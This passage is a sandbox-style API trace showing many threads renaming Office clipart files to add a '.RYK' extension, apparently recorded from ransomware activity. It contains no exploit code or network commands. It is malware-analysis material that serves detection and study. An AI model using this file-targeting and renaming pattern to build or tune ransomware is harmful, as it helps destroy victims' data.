	[0210.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG", dwFileAttributes=0x80) returned 0
	[0210.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.212] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.213] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1962
	os_tid = 0x245c

	[0210.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF", dwFileAttributes=0x80) returned 0
	[0210.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.214] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.215] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1963
	os_tid = 0x2460

	[0210.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF", dwFileAttributes=0x80) returned 0
	[0210.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.216] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.216] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1964
	os_tid = 0x2464

	[0210.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF", dwFileAttributes=0x80) returned 0
	[0210.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.218] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.219] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1969
	os_tid = 0x2478

	[0210.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF", dwFileAttributes=0x80) returned 0
	[0210.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.220] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.221] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1970
	os_tid = 0x247c

	[0210.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF", dwFileAttributes=0x80) returned 0
	[0210.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.348] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1971
	os_tid = 0x2480

	[0210.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF", dwFileAttributes=0x80) returned 0
	[0210.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.350] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.350] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1972
	os_tid = 0x2484

	[0210.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF", dwFileAttributes=0x80) returned 0
	[0210.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.352] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.352] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1973
	os_tid = 0x2488

	[0210.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF", dwFileAttributes=0x80) returned 0
	[0210.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.227] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.227] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1974
	os_tid = 0x248c

	[0210.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF", dwFileAttributes=0x80) returned 0
	[0210.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.354] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.354] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1975
	os_tid = 0x2490

	[0210.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF", dwFileAttributes=0x80) returned 0
	[0210.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.356] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.356] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1976
	os_tid = 0x2494

	[0210.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF", dwFileAttributes=0x80) returned 0
	[0210.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.358] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.358] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1977
	os_tid = 0x2498

	[0210.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF", dwFileAttributes=0x80) returned 0
	[0210.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.360] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.360] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1978
	os_tid = 0x249c

	[0210.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF", dwFileAttributes=0x80) returned 0
	[0210.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.362] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.362] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1979
	os_tid = 0x24a0

	[0210.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF", dwFileAttributes=0x80) returned 0
	[0210.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.364] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.364] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1980
	os_tid = 0x24a8

	[0210.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP", dwFileAttributes=0x80) returned 0
	[0210.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.741] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.741] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1981
	os_tid = 0x24ac

	[0210.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP", dwFileAttributes=0x80) returned 0
	[0210.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.368] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.368] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1982
	os_tid = 0x24b0

	[0210.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP", dwFileAttributes=0x80) returned 0
	[0210.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.370] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.370] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1983
	os_tid = 0x24b4

	[0210.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP", dwFileAttributes=0x80) returned 0
	[0210.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.372] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.372] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1984
	os_tid = 0x24b8

	[0210.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP", dwFileAttributes=0x80) returned 0
	[0210.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.739] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.739] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1985
	os_tid = 0x24bc

	[0210.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP", dwFileAttributes=0x80) returned 0
	[0210.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.633] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.633] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101861.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101861.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1986
	os_tid = 0x24c0

	[0210.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP", dwFileAttributes=0x80) returned 0
	[0210.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.751] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.751] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1987
	os_tid = 0x24c4

	[0210.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP", dwFileAttributes=0x80) returned 0
	[0210.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.749] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.749] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101863.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101863.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1988
	os_tid = 0x24c8

	[0210.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP", dwFileAttributes=0x80) returned 0
	[0210.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.747] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.748] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1989
	os_tid = 0x24cc

	[0210.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP", dwFileAttributes=0x80) returned 0
	[0210.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.746] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.746] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1990
	os_tid = 0x24d0

	[0210.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP", dwFileAttributes=0x80) returned 0
	[0210.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0210.744] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0210.744] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1991
	os_tid = 0x24d4

